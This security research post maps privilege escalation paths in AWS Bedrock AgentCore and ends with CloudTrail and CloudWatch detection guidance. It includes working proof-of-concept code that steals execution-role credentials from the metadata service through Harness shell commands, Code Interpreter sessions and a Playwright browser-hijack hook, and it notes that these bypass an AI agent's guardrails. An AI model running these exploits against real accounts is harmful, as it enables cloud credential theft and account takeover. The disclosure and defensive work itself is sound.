Mapping Every Privilege Escalation Path in AWS AgentCore

How AgentCore Exposes IAM Credentials via MMDS

Amazon Bedrock AgentCore is AWS's platform to build, connect and optimize AI agents. It includes services for memory, identity, gateway, and more. This post focuses on four resource types that share a single credential model.

Each resource accepts an execution role at creation (the IAM role the resource uses to call AWS APIs from inside the microVM) and runs on a Firecracker microVM. AgentCore assumes that role and delivers temporary credentials to the microVM, mirroring how an EC2 instance profile works.

The internal resource reads them from MMDS at 169.254.169.254 (AgentCore's equivalent of EC2's IMDS) to call AWS APIs (Bedrock to invoke foundation models, S3 to read or write data, anything the role allows). Anything else that lands in the microVM reads the same MMDS:

```
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/execution_role
```

AgentCore exposes this credential model through each of these resources:

• Runtime: A serverless environment for deploying and scaling AI agents and tools (via container image or ZIP). InvokeAgentRuntime runs the agent, while InvokeAgentRuntimeCommand executes shell commands.

• Harness: A managed agent loop built on top of Runtime, configured with a model, tools, memory and skills. InvokeHarness sends prompts to the model, while InvokeAgentRuntimeCommand runs shell commands.

• Code Interpreter: An isolated sandbox for executing code (Python, JavaScript or TypeScript) and shell commands. StartCodeInterpreterSession opens a session, InvokeCodeInterpreter runs the submitted code or command.

• Custom Browser: A managed Chromium runtime for AI-driven browser automation. StartBrowserSession opens a session and ConnectBrowserAutomationStream connects a remote driver to the browser.

These represent four entry points that allow an attacker to land code inside the same microVM architecture and read the role's credentials from MMDS.

InvokeAgentRuntimeCommand submits a shell command that runs as root inside the microVM, executing in parallel to the customer’s agent process (running as agentcore-runtime-user). This shell command bypasses the customer's agent entirely, regardless of what framework, code or guardrails the agent uses. The model never sees the request and the customer's safety controls never run.

The same mechanism as Path 1 is run against an existing Harness. Harness is AgentCore Runtime with a managed agent layer on top (model, tools, memory, observability); InvokeAgentRuntimeCommand bypasses that layer and runs as root in the runtime microVM, regardless of which model, tools or guardrails the harness was configured with.

An attacker with existing read permissions can enumerate candidate harness ARNs via bedrock-agentcore:ListHarnesses, CloudTrail management events or the Console, then invoke them to read execution role credentials from MMDS.

Proof of concept

Same as Path 1 with the ARN pointing to the harness:

```
import boto3, uuid

command = """bash -c '
TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/execution_role
'"""

client = boto3.client("bedrock-agentcore", region_name="us-east-1")
response = client.invoke_agent_runtime_command(
agentRuntimeArn="arn:aws:bedrock-agentcore:us-east-1:<VICTIM>:harness/<id>", # harness ARN, not the runtime ARN
runtimeSessionId=str(uuid.uuid4()),
body={"command": command, "timeout": 30},
)
for event in response["stream"]:
chunk = event["chunk"]
if "contentDelta" in chunk and "stdout" in chunk["contentDelta"]:
print(chunk["contentDelta"]["stdout"])
```

Code Interpreter runs customer-submitted code inside a Firecracker microVM. The execution role is optional at creation: when attached, any code in the sandbox reads its credentials from MMDS; when omitted, the microVM has no credentials to expose and Code Interpreter is not affected by this path.

An attacker with existing read permissions can enumerate candidate Code Interpreters via bedrock-agentcore:ListCodeInterpreters, CloudTrail management events or the Console. Opening a session and submitting code that reads MMDS from inside the sandbox returns the execution role credentials. This path was also independently documented by Nigel Sood of Sonrai Security.

Proof of concept

```
import boto3
code = 'TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60"); curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/execution_role'

client = boto3.client("bedrock-agentcore", region_name="us-east-1")
session = client.start_code_interpreter_session(codeInterpreterIdentifier="<CI-id>", sessionTimeoutSeconds=300)["sessionId"]
response = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CI-id>",
sessionId=session,
name="executeCommand",
arguments={"command": code},
)
for event in response["stream"]:
sc = event.get("result", {}).get("structuredContent", {})
if sc.get("stdout"):
print(sc["stdout"])
```

Custom Browser runs a browser session inside a Firecracker microVM. The execution role is optional at creation: when attached, the role credentials are reachable on MMDS from inside the microVM; when omitted, Custom Browser has no credentials to expose and is not affected by this path.

A client connects to the browser's automation endpoint, a presigned WebSocket that speaks Chrome DevTools Protocol (CDP), and controls the browser from outside the microVM. AWS recommends libraries like Strands, Nova Act or Playwright as the client.

An attacker with existing read permissions can enumerate candidate Custom Browsers via bedrock-agentcore:ListBrowsers, CloudTrail management events or the Console.

Reading the execution role credentials takes four steps:

1. Presign the WebSocket URL. The attacker presigns the browser's automation endpoint URL with their AWS credentials. This is what Playwright will connect to.
2. Connect Playwright over CDP. connect_over_cdp(ws_url) opens a Chrome DevTools Protocol session against the remote Chromium running inside the microVM.
3. Install a request hook. A context.route hook intercepts every request the browser sends to 169.254.169.254. It rewrites the GET on /latest/api/token into a PUT (which MMDSv2 requires), and on subsequent requests it injects the X-aws-ec2-metadata-token header so they succeed.
4. Navigate to MMDS. The browser hits the token URL and the role-credentials URL in sequence. Each response renders in the page body, and the script reads it out.

Sending the PUT from inside the page would be blocked: browsers refuse cross-origin PUT requests unless the destination opts in, and MMDS does not. context.route operates one layer below the page, where outbound requests can be rewritten before those rules apply.

Proof of concept

```
import boto3
from botocore.auth import SigV4QueryAuth
from botocore.awsrequest import AWSRequest
from playwright.sync_api import sync_playwright

REGION = "us-east-1"
BROWSER_ID = "<browser-id>"

client = boto3.client("bedrock-agentcore", region_name=REGION)
session_id = client.start_browser_session(browserIdentifier=BROWSER_ID, sessionTimeoutSeconds=300)["sessionId"]

creds = boto3.Session().get_credentials().get_frozen_credentials()
url = f"https://bedrock-agentcore.{REGION}.amazonaws.com/browser-streams/{BROWSER_ID}/sessions/{session_id}/automation"
request = AWSRequest(method="GET", url=url)
SigV4QueryAuth(creds, "bedrock-agentcore", REGION, expires=60).add_auth(request)
ws_url = request.url.replace("https://", "wss://")

with sync_playwright() as p:
browser = p.chromium.connect_over_cdp(ws_url)
page = browser.contexts[0].pages[0]
token = {"value": ""}

def rewrite(route):
if "/latest/api/token" in route.request.url:
route.continue_(method="PUT", headers={"X-aws-ec2-metadata-token-ttl-seconds": "60"})
else:
route.continue_(headers={"X-aws-ec2-metadata-token": token["value"]})

page.context.route("http://169.254.169.254/**", rewrite)

page.goto("http://169.254.169.254/latest/...")
token["value"] = page.locator("pre").text_content().strip()
page.goto("http://169.254.169.254/latest/meta-data/iam/security-credentials/execution_role")
print(page.locator("pre").text_content())
```

To detect all the privilege escalation paths covered in this blog, logging that captures both the API calls into AgentCore and what the attacker submits inside them is required.

By default, CloudTrail logs only the resource creation calls (CreateAgentRuntime, CreateHarness, CreateCodeInterpreter, CreateBrowser) and the iam:PassRole they trigger. The actions the attacker actually uses to extract credentials (InvokeAgentRuntimeCommand, StartCodeInterpreterSession, InvokeCodeInterpreter, StartBrowserSession, ConnectBrowserAutomationStream) are invisible until you enable CloudTrail data events.

Four data event types cover every privilege escalation path: AWS::BedrockAgentCore::Runtime and RuntimeEndpoint for Runtime and Harness (Harness manages a Runtime under the hood), CodeInterpreterCustom for Code Interpreter and BrowserCustom for Custom Browser. Apply to a trail with:

```
aws cloudtrail put-event-selectors \
--trail-name <your-trail> \
--advanced-event-selectors '[
{"FieldSelectors": [{"Field": "eventCategory", "Equals": ["Data"]}, {"Field": "resources.type", "Equals": ["AWS::BedrockAgentCore::Runtime"]}]},
{"FieldSelectors": [{"Field": "eventCategory", "Equals": ["Data"]}, {"Field": "resources.type", "Equals": ["AWS::BedrockAgentCore::RuntimeEndpoint"]}]},
{"FieldSelectors": [{"Field": "eventCategory", "Equals": ["Data"]}, {"Field": "resources.type", "Equals": ["AWS::BedrockAgentCore::CodeInterpreterCustom"]}]},
{"FieldSelectors": [{"Field": "eventCategory", "Equals": ["Data"]}, {"Field": "resources.type", "Equals": ["AWS::BedrockAgentCore::BrowserCustom"]}]}
]'
```

Each data event captures only the API call's metadata like the attacker's identity, the timestamp, the source IP and the target resource ARN. The actual shell command or submitted code by an attacker stays invisible to CloudTrail, as you can see in an InvokeAgentRuntimeCommand event captured by the trail:

```
{
"eventVersion": "1.11",
"userIdentity": {
"type": "AssumedRole",
"principalId": "AROAEXAMPLE1234567A:attacker-session",
"arn": "arn:aws:sts::123456789012:assumed-role/attacker-agentcore/attacker-session",
"accountId": "123456789012",
"accessKeyId": "ASIAEXAMPLE1234567A",
"sessionContext": {
"sessionIssuer": {
"type": "Role",
"principalId": "AROAEXAMPLE1234567A",
"arn": "arn:aws:iam::123456789012:role/attacker-agentcore",
"accountId": "123456789012",
"userName": "attacker-agentcore"
},
"attributes": {
"creationDate": "2026-05-26T20:22:07Z",
"mfaAuthenticated": "false"
}
}
},
"eventTime": "2026-05-26T20:22:12Z",
"eventSource": "bedrock-agentcore.amazonaws.com",
"eventName": "InvokeAgentRuntimeCommand",
"awsRegion": "us-east-1",
"sourceIPAddress": "REDACTED",
"userAgent": "Boto3/1.43.0 md/Botocore#1.43.0 ...",
"requestParameters": null,
"responseElements": {
"runtimeSessionId": "REDACTED",
"traceId": "Self=1-6a1600f3-0fe4c68c1e690647127b68e1;Root=1-6a1600f3-451073887c4404271a1fae82",
"statusCode": 200,
"stream": {
"publisher": {}
}
},
"requestID": "2035961c-7692-4bdf-b573-e769ac803f37",
"eventID": "171d2c01-dbf8-4225-80ab-75c779a41666",
"readOnly": false,
"resources": [
{
"accountId": "123456789012",
"type": "AWS::BedrockAgentCore::Runtime",
"ARN": "arn:aws:bedrock-agentcore:us-east-1:123456789012:runtime/hosted_agent_prod-XuTKdY2Ohe"
},
{
"accountId": "123456789012",
"type": "AWS::BedrockAgentCore::RuntimeEndpoint",
"ARN": "arn:aws:bedrock-agentcore:us-east-1:123456789012:runtime/hosted_agent_prod-XuTKdY2Ohe/runtime-endpoint/DEFAULT"
}
],
"eventType": "AwsApiCall",
"managementEvent": false,
"recipientAccountId": "123456789012",
"eventCategory": "Data",
"tlsDetails": {
"tlsVersion": "TLSv1.3",
"cipherSuite": "TLS_AES_128_GCM_SHA256",
"clientProvidedHostHeader": "bedrock-agentcore.us-east-1.amazonaws.com"
}
}
```

By default, a CloudWatch log group /aws/bedrock-agentcore/runtimes/<runtimeId>-DEFAULT is auto-created by AWS when an AgentCore Harness or Runtime is created. It records the body of every InvokeAgentRuntimeCommand submitted to the runtime.